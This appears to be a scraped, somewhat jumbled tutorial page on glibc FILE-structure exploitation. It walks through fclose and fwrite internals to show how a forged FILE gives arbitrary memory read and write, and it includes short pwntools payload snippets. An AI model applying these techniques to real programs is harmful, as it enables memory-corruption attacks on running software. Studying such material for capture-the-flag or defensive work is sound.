Arbitrary Read/Write
Arbitrary Read
fwrite
fp = FileStructure(0x0)
payload = fp.read(addr, 0x120)
io.send(payload)fclose
puts
Arbitrary Write
fread
fwrite
Last updated
fp = FileStructure(0x0)
payload = fp.read(addr, 0x120)
io.send(payload)Last updated
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
// ...
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
// ...
_IO_FINISH (fp); // <-- OUR INTEREST
// ...
_IO_deallocate_file (fp);
return status;
}
versioned_symbol (libc, _IO_new_fclose, _IO_fclose, GLIBC_2_1);
strong_alias (_IO_new_fclose, __new_fclose)
versioned_symbol (libc, __new_fclose, fclose, GLIBC_2_1);typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)void
_IO_new_file_finish (FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp); // <-- OUR INTEREST
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
libc_hidden_ver (_IO_new_file_finish, _IO_file_finish)#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))fp = FileStructure(0x0)
payload = fp.write(addr, 0x120)
io.send(payload)size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
// ...
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request); // <-- OUR INTEREST
// ...
}
libc_hidden_def (_IO_fwrite)// https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/libioP.h#L379
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
// https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/libioP.h#L176
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_WXSPUTN(FP, DATA, N) WJUMP2 (__xsputn, FP, DATA, N)size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
// ....
size_t to_do = n;
// ....
size_t count = 0;
// ....
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) // [0]
{
// ..
}
else if (f->_IO_write_end > f->_IO_write_ptr) // <-- NEEDS TO BE SATISFIED [1]
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0) // <-- NEEDS TO BE SATISFIED [2]
{
if (count > to_do) // <-- NEEDS TO BE SATISFIED [3]
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); // <-- OUR INTEREST
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
// ...
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)